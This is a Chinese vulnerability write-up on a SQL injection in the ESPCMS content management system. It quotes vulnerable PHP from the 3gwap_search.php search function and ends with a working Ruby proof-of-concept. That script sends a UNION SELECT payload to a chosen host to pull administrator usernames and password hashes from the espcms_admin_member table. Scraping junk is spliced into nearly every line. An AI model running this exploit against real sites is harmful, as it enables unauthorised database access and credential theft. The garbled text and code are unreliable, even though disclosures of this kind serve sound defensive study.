0×0 漏洞概述0×1 漏洞细节
$ D8 l/ ]9 v; A0×2 PoC
& L* K0 `: l2 @6 g( L! H0 u, b4 Z- R O9 K
2 b4 h+ P7 c' l- w+ r5 h
- i8 E5 C( u1 G8 {6 O7 ~" p
0×0 漏洞概述5 \: k* {; r' j: g$ z
4 S& I. T4 w' t; T6 a* M' L' {易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。% c5 s+ ?; _ s* T" q
其在处理传入的参数时考虑不严谨导致SQL注入发生
/ [0 K. @3 f" H, ?3 S& Q3 n6 A% Y2 f) H ~; G8 _$ C) \
: @3 `, z s; d, j4 {0×1 漏洞细节
. j* b m2 @1 V/ J9 q- U$ {' o, u+ f) L: M. e/ t: u; z' p$ s
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
4 Y# R8 u' a" a正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
' H$ n' @% Y+ m6 Y) E4 D; p8 G而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
2 i7 a+ i U- h% T3 T8 l- g8 i
2 b; V' K5 I X" t在/interface/3gwap_search.php文件的in_result函数中:8 j9 b7 F: u4 \
% o: ]/ W/ h! I' k1 c, ^* F8 X) `( {: k& X9 Y0 j
6 K% A& I5 I# W& g
function in_result() {" w4 \7 Z+ w y' f8 @# h
... ... ... ... ... ... ... ... ...
- q0 @& n$ m$ s7 _ $urlcode = $_SERVER[ 'QUERY_STRING '];, A1 d& z! \$ P. z
parse_str(html_entity_decode($urlcode), $output);& E# X9 e, ~7 w/ ~. B5 p; h' h
: W5 @9 s- R2 q4 j) R! ^( w$ {, K
... ... ... ... ... ... ... ... ...' g* ]4 M- B; y+ m! F5 Y
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
- G; Q" g9 V6 V- Q
# B( p* t% `+ _8 m6 P3 M $db_table = db_prefix . 'model_att';
# `. g5 t7 ~) s; M, e# A" p% H, H$ {8 z$ x% L
foreach ($output['attr' ] as $key => $value) {8 g" b2 c' ?/ F# a
if ($value) {
: t0 O) |, V( X
- X& ^6 L8 O; ?* R, A b7 u8 y $key = addslashes($key);
" M. u& J! p. n8 O/ S $key = $this-> fun->inputcodetrim($key);
( E0 P- L, F8 ]$ r. S $db_att_where = " WHERE isclass=1 AND attrname='$key'";9 g1 ]3 J$ z1 [- @
$countnum = $this->db_numrows($db_table, $db_att_where); a$ t: m' Z7 v0 a/ M
if ($countnum > 0) {* P) y& x. K2 E2 n9 P" x' G
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;: a' N8 U* f7 o& F
}& n6 C; {' Q8 J2 K9 X; N
}) C* B; M5 C# {2 ?
}
3 x# l7 i6 ]+ c( l7 J- d7 L) G' P w }' d& p' m* b; a
if (!empty ($keyword) && empty($keyname)) {1 z3 P+ M- J, Q y0 J
$keyname = 'title';
) R) Y, k A& \ t! B2 j Q+ I) M $db_where.= " AND a.title like '%$keyword%'" ;
& d* }, Q& d" J7 o$ m5 C } elseif (!empty ($keyword) && !empty($keyname)) {
9 ~ E+ W& g$ c, b $db_where.= " AND $keyname like '% $keyword%'";4 e. U" q* Q+ e1 V
}
" Y' a3 I5 K' o+ K5 n $pagemax = 15;
8 v$ H) ~* F# r# P- ~. k: `5 Y% X8 ]' {) h' u* U
$pagesylte = 1;
: n; @1 e1 f+ G5 X4 O- B
: Q9 [2 [9 @( \( P+ U) P2 ~% L9 s$ a G if ($countnum > 0) {
1 {" a$ s# r. w
u4 B/ b7 S0 y2 ^% p $numpage = ceil($countnum / $pagemax);: D$ z' {$ o- f
} else {
& b. `/ L5 W3 y $numpage = 1;
; [. }1 O" [ k( h4 O) K4 b: s }' @* Q7 Y& F1 s. Y$ M6 D: c
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;; F1 D$ g6 j2 @- o9 H
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);4 J& e1 h; G. o
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
2 A( K( J/ I m% s3 S6 e9 q! g t ... ... ... ... ... ... ... ... ...
5 d* @! q% O1 |, g: a$ o& D }6 _! S# m. t( `
1 e1 b6 W, d. r
4 @5 h3 ~4 o+ a, Z, t1 q% G6 @8 N% C0×2 PoC
1 u. D2 l1 e4 j! Z" b4 u
' N. s- ]0 ]% Q$ a9 B0 i/ w) O, k# e$ b2 S6 }% ]
' Z ~- U: g9 t7 W, q
require "net/http"
+ r3 k- `6 N- P- r# C5 B3 m" p4 ~
8 J: g( U, X7 sdef request(method, url)$ \; ]9 E; a2 q
if method.eql?("get")
3 o' p; E- `& y1 D/ D4 N- ^ uri = URI.parse(url)
3 _; ~# @# m1 f! a! X9 Q http = Net::HTTP.new(uri.host, uri.port)" C/ ]1 }5 y u( S
response = http.request(Net::HTTP::Get.new(uri.request_uri))
% G, X$ n8 l# d6 _ e" K" z: w return response
/ f+ X" f6 r0 D& l. R& K0 [ end7 e g4 x5 G- a" M( ^/ J M9 {
end
' Z/ o. T( x* R4 L+ _
% A$ F' @& m9 T6 T5 Y6 _; }doc =<<HERE4 y# E# O; j4 x1 M3 V
-------------------------------------------------------* m3 ]$ L, A% K$ P$ B; E2 Z
Espcms Injection Exploit
; J/ l, c' g+ F& I( B! I- h- mAuthor:ztz
, ^/ D0 z# \. W% F. f0 W* q# ?Blog:http://ztz.fuzzexp.org/
5 Z( t3 E5 w% V# V-------------------------------------------------------: w C& y2 \ z W) s5 J% ^
! K9 _+ ]7 a3 `" v5 x4 W
HERE- ^ G- P G& j. ^& r
$ |' Q! t0 o4 S* P+ }* fusage =<<HERE
: x) [/ n4 m7 ]/ W3 D1 mUsage: ruby #{$0} host port path
& c9 J) P6 m5 Aexample: ruby #{$0} www.target.com 80 /1 Y* @( m' q3 w5 [ T
HERE
D% A4 m4 D5 h5 P5 p" B- U. Z+ J4 @
puts doc
) {" _ K* {0 W l% v& C) J+ aif ARGV.length < 3, | `/ y6 Z- w J9 z8 m( d
puts usage/ O0 e6 Q# V n& p& r5 S* s1 N, x
else7 m7 y8 O0 O& ^& I/ V$ l3 }* I0 _
$host = ARGV[0]/ z1 C* ^0 v6 g- {: \2 f
$port = ARGV[1]
, h3 U/ _. ~6 a: D# | $path = ARGV[2]$ D$ D" v- o3 h" U! R$ y1 r" ?+ m
4 V" B: Y; `) w7 r' v' K' W) ?. A7 y
puts "send request...", H$ V0 H8 j+ o+ Y. L9 H
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
% m' v+ W' j3 p+ S( Jattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13& r* @" }' E) U% R D7 b6 }/ t
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27' J- ^4 J2 G. H! c% u
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"& O# s+ S. z: G& A9 m7 p0 v
response = request("get", url)
9 M0 s) Z! l3 |- F result = response.body.scan(/\w+&\w{32}/) G6 S) o9 y2 w! b U
puts result
8 Y: ~5 A& f# d S! F0 Z% }7 aend
3 J- |8 i# N! p1 p1 \- p8 w
0 w) i. ]* i0 M' e( K& j |